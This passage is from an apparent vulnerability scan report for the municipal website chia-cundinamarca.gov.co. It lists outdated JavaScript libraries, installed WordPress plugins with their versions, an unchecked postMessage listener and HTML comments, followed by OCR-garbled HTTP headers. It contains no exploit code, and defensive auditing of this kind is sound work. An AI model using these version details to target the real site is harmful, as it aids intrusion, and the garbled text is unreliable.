Accept: */*

Accept - Language: en-US, en; g=0. 5

RESPONSE HEADERS

HTTP/ 1.1 303 See ot her

Server: nginx

Date: Thu, 19 Dec 2024 00:11:47 GVI

Content-Type: text/htm; charset=utf-8

Content-Length: O

Connection: keep-alive

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=0b4c34e51b723f b20f c3aa9269860871; path=/; HttpOnly
Location: https://chia-cundi namarca. gov. co/ i ndex. php
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Out-of-Date JQuery Detected

VULNERABILITY BINgeN PLUGIN ID 113027

Description
An out-of-date version of JQuery has been detected. An outdated version could have vulnerabilities or missing security features.
Solution

Upgrade to the latest version of JQuery.

See Also
https://blog.jquery.com/

https://github.com/jquery/jquery/tags
https://jquery.com/

Plugin Details
PUBLICATION DATE 2021-10-25T00:00:00+00:00
MODIFICATION DATE 2024-01-11T00:00:00+00:00
FAMILY Component Vulnerability
SEVERITY Info
PLUGIN ID 113027

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP =
CVE -
BID =
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Out-of-Date JQuery Detected Instances (1)

VULNERABILITY BINgeN PLUGIN ID 113027

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
Technol ogy j Query has been detected with version 1.12.4. Latest version available is : 3.7.1
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Out-of-Date JQuery Ul Detected

VULNERABILITY BINIgeN PLUGIN ID 113031

Description

An out-of-date version of JQuery Ul has been detected. An outdated version could have vulnerabilities or missing security

features.

Solution

Upgrade to the latest version of JQuery Ul.

See Also

https://github.com/jquery/jquery-ui/tags

https://jqueryui.com/

https://jqueryui.com/changelog/

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2021-10-27T00:00:00+00:00
2024-08-06T00:00:00+00:00
Component Vulnerability

Info

113031
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Out-of-Date JQuery Ul Detected Instances (1)

VULNERABILITY BINIgeN PLUGIN ID 113031

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

OUTPUT
Technol ogy j Query U has been detected with version 1.13.3. Latest version available is : 1.14.0
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Out-of-Date MediaElement.Js Detected

VULNERABILITY BINgeN PLUGIN ID 113034

Description

An out-of-date version of MediaElement.Js has been detected. An outdated version could have vulnerabilities or missing

security features.

Solution

Upgrade to the latest version of MediaElement.Js.

See Also

https://github.com/mediaelement/mediaelement/tags

https://www.mediaelementjs.com/

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2021-10-27T00:00:00+00:00
2024-08-06T00:00:00+00:00
Component Vulnerability

Info

113034

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/

Page 297 of 348


https://github.com/mediaelement/mediaelement/tags
https://www.mediaelementjs.com/

Out-of-Date MediaElement.Js Detected Instances (1)

VULNERABILITY BINgeN PLUGIN ID 113034

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
Technol ogy Medi aEl enent.Js has been detected with version 2.17.0. Latest version available is : 7.0.5
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Performance Telemetry

VULNERABILITY BINgeM PLUGIN ID 113393

Description

This finding provides information to assist in scan performance tuning.

Solution
See Also

Plugin Details
PUBLICATION DATE 2022-10-17T00:00:00+00:00
MODIFICATION DATE 2024-10-03T00:00:00+00:00
FAMILY General
SEVERITY Info
PLUGINID 113393

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP =
CVE -
BID =
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Performance Telemetry Instances (1)

VULNERABILITY BINgeM PLUGIN ID 113393

INSTANCE

https://chia-cundinamarca.gov.co/

Identification

OUTPUT

Three attachnments are included in this finding to assist in perfornmance tuning of your scan:
-pages_telenetry.csv: Scan statistics organi zed by page

-plugins_telemetry.csv: Scan statistics organi zed by plugin

-tine_telenmetry.csv: Chronol ogi cal scan statistics
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WordPress Plugins Detected

VULNERABILITY BINigeN PLUGIN ID 113452

Description

This is aninformational notice that the scanner was able to detect one or more installed WordPress plugins.

Solution

See Also

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2022-12-21T00:00:00+00:00
2024-05-21T00:00:00+00:00
Web Applications

Info

113452
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WordPress Plugins Detected Instances (1)

VULNERABILITY BINigeN PLUGIN ID 113452

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT

The scanner was able to detect the presence of the follow ng plugins
- customfonts v2.1.6

- tenplately v3.0.4

- pojo-accessibility v2.1.0

- enbedpress v4.0.3

- event-tickets v5.9.0

- backup-backup v1.4.5

- interactive-3d-flipbook-powered-physics-engine vl.16.7
- pdf-viewer-for-elenentor v2.9.3

- ays-popup-box v4.9.3
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WordPress Current Theme Detected

VULNERABILITY BINigeM PLUGIN ID 113455

Description

This is an informational notice that the scanner was able to detect the current WordPress installed theme.

Solution

See Also

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2022-12-21T00:00:00+00:00
2022-12-21700:00:00+00:00
Web Applications

Info

113455
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WordPress Current Theme Detected Instances (1)

VULNERABILITY BINigeM PLUGIN ID 113455

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
The scanner detected a WrdPress instance using the thene "hello' in version '2.9.0".

HTTP Info

REQUEST MADE
GET /web/ HTTP/1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0.5

Cooki e: googtrans=/es/it

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 01:00: 24 GvII

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p
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PostMessage Wildcard Event Listener Detected

VULNERABILITY BMINIgeN PLUGIN ID 113851

Description

Web applications relying on JavaScript often need to perform cross-origin communication between ‘Window' objects such as a
page and an embedded iframe or a popup window. The postMessage APl allows developers to circumvent the same-origin policy
restrictions in order to exchange data between scripts located on different origins.

Depending on the application needs, messages event listeners could be added to use received messages in part of its logic.
However, if the data received in these messages are used, for example, to build the page DOM, an attacker could leverage this
issue to inject malicious data and conduct client-side attacks like Cross-Site Scripting (XSS) or Prototype Pollution.

Solution

Remove the message event listener if this is not needed in the application logic or verify that the message sender origin is
matching with a trusted allowlist.

See Also
https://blog.yeswehack.com/yeswerhackers/introduction-postmessage-vulnerabilities/
https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

Plugin Details
PUBLICATION DATE 2023-05-05T00:00:00+00:00
MODIFICATION DATE 2023-05-05T00:00:00+00:00
FAMILY Web Applications
SEVERITY Info
PLUGIN ID 113851

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP =
CVE -
BID =
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PostMessage Wildcard Event Listener Detected Instances (1)

VULNERABILITY BMINIgeN PLUGIN ID 113851

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
The scanner detected the presence of |isteners which does not check for the nessage origin. The code of the JavaScri pt
function used by the listener is available in attachnent.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:15:28 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ >; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip
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HTML Comments Detected

VULNERABILITY BINgeM PLUGIN ID 113897

Description

HTML comments are often used by developers to include information related to the application inline, which are ignored by a
clients browser during rendering. These comments may include sensitive information such as SQL queries, credentials or
internal IP for example.

Solution

Review the HTML comments identified on the page for any information leakage, and remove any sensitive information identified.

See Also
https://owasp.org/www-project-web-security-testing-quide/v42/4-Web_Application_Security_Testing/01-
Information_Gathering/05-Review_Webpage_Content_for_Information_Leakage

Plugin Details
PUBLICATION DATE 2023-06-09T00:00:00+00:00
MODIFICATION DATE 2024-11-08T00:00:00+00:00
FAMILY Data Exposure
SEVERITY Info
PLUGIN ID 113897

Risk Information

CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE =
CVSSV3 VECTOR -
CVSS BASE SCORE =
CVSSVECTOR -

Reference Information

CWE =
WASC -
OWASP =
CVE -
BID =
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HTML Comments Detected Instances (21)

VULNERABILITY BINgeM PLUGIN ID 113897

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i mpuest o- pr edi al - uni fi cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 06:17:33 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/wp/ v2/ posts/4113>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=4113>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chi a-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namarca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ana- de- gest i on- docunent al /
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REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:16:57 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 805>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=805>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-

chia-y-personerias-juridicas/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ tranite-para-solicitar-certificados-de-residencia-en-el-territorio-
de-chi a-y- personeri as-juridicas/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:04:12 GVI
Cont ent - Type: text/htm; charset=UTF-8
Transfer - Encodi ng: chunked

Connection: keep-alive
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Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=7526>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachnment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrome/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 585>, rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=585>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/participa/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/
https://chia-cundinamarca.gov.co/web/participa/

HTTP Info

REQUEST MADE
GET https://chi a-cundi nanar ca. gov. co/ web/ parti ci pa/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:39: 13 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=21196>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-
cultura-en-chia/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 1 os- sal ones- de- art es- pl asti cas-abren-sus-puertas-para-el-arte-y-
cul tura-en-chial

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-cultura-en-chia/
https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-cultura-en-chia/

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 07:35:13 GMVI

Content - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[ wp-j son/ wp/ v2/ post s/ 22370>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=22370>; rel =shortlink

X- TEG- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:25:45 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/ 653>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=653>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 03:11:24 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/wp/ v2/ posts/ 632>, rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=632>; rel =shortlink

X- TEC- APl - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 02:58:37 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ posts/ 623>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-

factura-de-los-impuestos-predial-e-ica/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-|os-inpuestos-predial-e-ical

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 06:04:16 GVIT

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 18365>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=18365>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

